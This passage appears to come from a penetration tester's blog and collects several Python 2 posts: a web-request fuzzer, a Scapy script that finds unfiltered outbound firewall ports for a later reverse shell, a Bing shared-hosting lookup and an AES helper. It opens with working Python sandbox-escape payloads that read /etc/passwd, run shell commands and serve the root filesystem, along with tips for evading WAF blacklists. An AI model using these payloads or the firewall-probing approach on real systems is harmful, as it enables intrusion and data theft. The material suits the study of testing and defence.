[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['file']('/etc/passwd').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['open']('/etc/passwd').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('fileinput').input('/etc/passwd'))
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('cat /etc/passwd'))
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').popen('/etc/passwd', 'r').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('cd /; python -m SimpleHTTPServer'))

Of course now that you have Ned’s script, you can simply find other places where the builtins live, the Pattern is just one example. E.g. if one of theses strings ever gets blacklisted (think web application firewall).

0sec talk

Two weeks ago I had a talk about “Reversing Android Apps – Hacking and cracking Android apps is easy” at 0sec. You can download the slides. The video on slide 6 (circumventing the Android lock screen with button mashing) is available here. If you’re interested in the topic, you should check out the other posts in the Android category.

Sending generic HTTP(S) requests in python

During Web Application Penetration tests I always need to automate requests, e.g. for fuzzing. While most of the local proxy/testing softwares (Burp, WebScarab, w3af, etc.) include a repeater/fuzzer feature, I often want to do addtional computations in python (e.g. calculating a hash and sending it as a fuzzed value or comparing parts of the response). The following script will take an entire HTTP(S) request as a string, parse it and send it to the server. As I show with the POST parameter “fuzzableParam” in this example, values can easily be fuzzed.

def send_this_request(http_request_string, remove_headers=None):
    """
    Always HTTP/1.1
    """
    import urllib2
    if remove_headers is None:
        remove_headers=['content-length', 'accept-encoding', 'accept-charset', 
        'accept-language', 'accept', 'keep-alive', 'connection', 'pragma', 
        'cache-control']
    for i, remove_header in enumerate(remove_headers):
        remove_headers[i] = remove_header.lower()
    if '\n\n' in http_request_string:
        headers, body = http_request_string.split('\n\n',1)
    else:
        headers = http_request_string
        body = None
    headers = headers.split('\n')
    request_line = headers[0]
    headers = headers[1:]

    method, rest = request_line.split(" ", 1)
    url, protocol = rest.rsplit(" ", 1)

    merge_host_header_into_url = False
    if url.startswith("http"):
        merge_host_header_into_url = False
    elif url.startswith("/"):
        info("Warning: Defaulting to HTTP. Please write URL as https:// if you want SSL")
        merge_host_header_into_url = True
    else:
        fatalError("Protocol not supported. URL must start with http or /")

    header_tuples = []
    for header in headers:
        name, value = header.split(": ", 1)
        if merge_host_header_into_url and name.lower() == 'host':
            url = 'http://'+value+url
        if not name.lower() in remove_headers:
            header_tuples.append((name, value))
            
    opener = urllib2.build_opener()
    opener.addheaders = header_tuples
    urllib2.install_opener(opener)

    try:
        return urllib2.urlopen(url, body, 15).read()
    except urllib2.HTTPError, e:
        info('The server couldn\'t fulfill the request. Error code:', e.code)
    except urllib2.URLError, e:
        info("URLError:", e.reason)
    except Exception, e:
        error("DIDNT WORK:", e)
        
def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def error(*text):
    print "[PY-ERROR] "+str(" ".join(str(i) for i in text))

request = '''POST http://example.com/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Referer: http://example.com
Content-Length: 132
Cookie: test=somevalue; abc=123
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

id=123&fuzzableParam='''

additionalValue = "&anotherParam=abc"

for i in ['78', '-1']:
    print send_this_request(request+i+additionalValue)

Ack-All-Happy-Scapy – Finding a hole in a corporate firewall

When being located in a corporate environment (internal network), it is sometimes interesting to know if there are ports that are not outbound filtered, or in other words, if there is a hole where an attacker could connect to the outside world (damn perimeter-security). For example Apple products need port 5223 to be open for push notifications. So if the iPhones and iPads of managers should work, you have to open that outbound port 😀 . Of course you can simply chose one of those ports for your reverse shell when you take over one of their web servers in a later step. So what’s the easiest way to check if there is an open port, apart from knowing that they use the Apple push notification?

The following script can be run on every server, that has a public IP and Python/Scapy installed. When this script is running, it will send back a TCP SYN/ACK to every SYN coming from outside. It doesn’t matter which port. So if you do a NMAP SYN-Scan (-sS switch), all ports will be shown as open. Unless the corporate firewall between you and the server is blocking the SYN probes. So simply do a nmap SYN-Scan from the internal network of the company to the server and each open port is an open outbound port (unless there is some more filtering active such as deep packet inspection).

#!/usr/bin/python
# -*- coding: utf-8 -*-
DEBUG_ON=False
def ack-all-happy-scappy():
    from scapy.all import sniff, send, Ether, IP, TCP
    import os
    #################
    #CONFIG OPTIONS
    #################
    
    #Standard options
    my_ip = "xxx.xxx.xxx.xxx" #your external IP
    my_interface = "eth0"
    exclude_ports = ["22"] # Exclude ports, that already have a service running 22 = SSH,
    DEBUG_ON = False
    
    #Advanced options
    static_seq = 1337 #Specify as None for random seq number
    start_iptables_command = "iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP"
    end_iptables_command = "iptables -D OUTPUT -p tcp --tcp-flags RST RST -j DROP"
    
    #################
    #CONFIG END
    #################
    
    #Actual code start
    if os.geteuid() != 0:
      info("You must be root to run this script.")
      sys.exit(1)    
    
    info("##################################")
    info("The ACK-ALL-HAPPY-SCAPY script, written by floyd")
    info("This script can only be used with SYN-scans (nmap -sS)")
    info("Altough untested, this should work as well for IPv6")
    info("##################################")
    sleep(3)
    info("This is how the IPTABLES looked, before starting ACK-ALL-HAPPY-SCAPY:")
    executeInShell("iptables -L")
    
    def getSeqNumber():
        if static_seq:
            return static_seq
        else:
            import random
            return random.randint(1,4294967295)
        
    def handleEachSyn(synpacket):
        if DEBUG_ON:
            debug("IN:")
            synpacket.display()
        ethlen = len(Ether())
        iplen = len(IP())
        synpacket_raw = str(synpacket)
        i = IP(synpacket_raw[ethlen:])
        t = TCP(synpacket_raw[ethlen + iplen:])
        f = IP(src=i.dst, dst=i.src)/TCP(sport=t.dport, dport=t.sport, ack=t.seq+1, seq=getSeqNumber())
        if DEBUG_ON:
            debug("OUT:")
            f.display()
        send(f)
        
    try:
        #Setup
        info("Executing now:", start_iptables_command)
        executeInShell(start_iptables_command)
        info("Done!")
        #Work
        not_port_filter = " and not port "+" and not port ".join(exclude_ports)
        filter_string = 'tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) = 0 and dst '+my_ip+not_port_filter
        info("Using filter ", filter_string)
        info("Waiting for your scans on tcp ports 1-65535, except "+", ".join(exclude_ports)+", where already a real service should be waiting")
        info("Start your scan with: sudo nmap -PN -sS -p 1-65535 "+my_ip)
        sniff(filter=filter_string, iface=my_interface, prn=handleEachSyn)
    except KeyboardInterrupt:
        #Restoring
        info()
        info("You pressed Ctrl+C... please wait, restoring IPTABLES")
        info("Executing now:", end_iptables_command)
        for i in range(3):
            executeInShell(end_iptables_command)
        info("This is how the IPTABLES looks, after finishing ACK-ALL-HAPPY-SCAPY:")
        executeInShell("iptables -L")

def executeInShell(command):
    import subprocess
    process = subprocess.Popen(command, shell=True)
    process.wait()

def sleep(seconds):
    import time
    time.sleep(seconds)

def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def debug(*text):
    if DEBUG_ON:
        print "[PY-DEBUG] "+str(" ".join(str(i) for i in text))

main()

Today it shouldn’t be a big problem to start this script on your server, even when you can’t use your corporate network internet access. Just use your mobile phone to connect to the server and start the script.

Btw, Scapy is one of the most amazing Python libraries I’ve ever seen. Extremely powerful.

Detect shared hosting with Bing

Bing has a pretty cool IP advanced search operator. It can be used to detect shared hosting. It is quite annoying to type in each IP manually when you have to check several IPs (e.g. corporate IP network). The following script will scan an entire range of IPs. The examples below (Google IPs 74.125.39.103 to 74.125.39.106) give some pretty interesting results…

def printBingSharedHosting(ip_start, ip_end):
    import urllib2
    import re
    
    bing_url = 'http://www.bing.com/search?q=ip%3A'
    no_results_string = "No results"
    
    def bing_shared_hosting_get_matches(response):
        regex = '<h3><a\shref="(.*?)"\sonmousedown="'
        mo = re.finditer(regex, response)
        urls = []
        for i in mo:
            urls.extend(i.groups())
        return urls
    
    def bing_shared_hosting_query_bing(ip_str):
        body = urllib2.urlopen(bing_url+ip_str).read()
        if not no_results_string in body:
            for i in bing_shared_hosting_get_matches(body):
                result(ip_str+" : "+i)
        else:
            error("Bing page did not show '"+no_results_string+"' for ip: "+ip_str)

    info("Starting bing shared hosting search. I'm not printing anything until i find something")
    info("This method is only searching through the first result page of bing!")    
    for ip in getIpRangeList(ip_start, ip_end):
        bing_shared_hosting_query_bing(ip)


def getIpRangeList(ip_start, ip_end):

    result_list = []

    one, two, three, four = ip_start.split('.')
    one, two, three, four = (int(one), int(two), int(three), int(four))
    end_one, end_two, end_three, end_four = ip_end.split('.')
    end_one, end_two, end_three, end_four = (int(end_one), int(end_two), int(end_three), int(end_four))

    while one <= end_one:
        end_two_tmp = end_two
        if not one == end_one:
            end_two_tmp = 255
        while two <= end_two_tmp:
            end_three_tmp = end_three
            if not two == end_two:
                end_three_tmp = 255
            while three <= end_three_tmp:
                end_four_tmp = end_four
                if not three == end_three:
                    end_four_tmp = 255
                while four <= end_four_tmp:
                    result_list.append("%i.%i.%i.%i"%(one, two, three, four))
                    #debug(str(one)+" "+str(two)+" "+str(three)+" "+str(four))
                    four += 1
                four = 0
                three += 1
            three = 0
            two += 1
        two = 0
        one += 1
    
    return result_list

   
def error(*text):
    print "[PY-ERROR] "+str(" ".join(str(i) for i in text))
    if SLEEP_TIME_ON_ERROR > 0:
        sleep(SLEEP_TIME_ON_ERROR)

def result(*text):
    print "[PY-RESULT] "+str(" ".join(str(i) for i in text))

def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def debug(*text):
    print "[PY-DEBUG] "+str(" ".join(str(i) for i in text))

printBingSharedHosting("74.125.39.103", "74.125.39.106")

I admit, the getIpRangeList function could be a little bit more elegant, but I didn’t want to use an external library, didn’t find any suitable code snippet and in the end, it does its job.

AES encryption/decryption in python

Sometimes I just need some encryption, so I wrote a script that fits some cases. The functions use the python Crypto library.

The security of the used encryption is ok, I wrote a PBKDF2-like Key Derivation Function, that hashes the password before truncating and using it as the AES key. The encryption function does not add random padding. This means an attacker can guess how long the plaintext was. Additionally, CBC is a non-authenticated mode, therefore if somebody flips a bit in your ciphertext the decryption routine won’t notice. This usually means an attacker can flip one bit, but the remaining blocks will be corrupted. So flipping a bit in the last block is easy. Moreover 13’370 derivation rounds might be too much or not enough for you.

def AESencrypt(password, plaintext, base64=False):
    import hashlib, os
    from Crypto.Cipher import AES
    SALT_LENGTH = 32
    DERIVATION_ROUNDS=13370
    BLOCK_SIZE = 16
    KEY_SIZE = 32
    MODE = AES.MODE_CBC
    
    salt = os.urandom(SALT_LENGTH)
    iv = os.urandom(BLOCK_SIZE)
    
    paddingLength = 16 - (len(plaintext) % 16)
    paddedPlaintext = plaintext+chr(paddingLength)*paddingLength
    derivedKey = password
    for i in range(0,DERIVATION_ROUNDS):
        derivedKey = hashlib.sha256(derivedKey+salt).digest()
    derivedKey = derivedKey[:KEY_SIZE]
    cipherSpec = AES.new(derivedKey, MODE, iv)
    ciphertext = cipherSpec.encrypt(paddedPlaintext)
    ciphertext = ciphertext + iv + salt
    if base64:
        import base64
        return base64.b64encode(ciphertext)
    else:
        return ciphertext.encode("hex")

def AESdecrypt(password, ciphertext, base64=False):
    import hashlib
    from Crypto.Cipher import AES
    SALT_LENGTH = 32
    DERIVATION_ROUNDS=13370
    BLOCK_SIZE = 16
    KEY_SIZE = 32
    MODE = AES.MODE_CBC
    
    if base64:
        import base64
        decodedCiphertext = base64.b64decode(ciphertext)
    else:
        decodedCiphertext = ciphertext.decode("hex")
    startIv = len(decodedCiphertext)-BLOCK_SIZE-SALT_LENGTH
    startSalt = len(decodedCiphertext)-SALT_LENGTH
    data, iv, salt = decodedCiphertext[:startIv], decodedCiphertext[startIv:startSalt], decodedCiphertext[startSalt:]
    derivedKey = password
    for i in range(0, DERIVATION_ROUNDS):
        derivedKey = hashlib.sha256(derivedKey+salt).digest()
    derivedKey = derivedKey[:KEY_SIZE]
    cipherSpec = AES.new(derivedKey, MODE, iv)
    plaintextWithPadding = cipherSpec.decrypt(data)
    paddingLength = ord(plaintextWithPadding[-1])
    plaintext = plaintextWithPadding[:-paddingLength]
    return plaintext
    
a = AESencrypt("password", "ABC")
print AESdecrypt("password", a)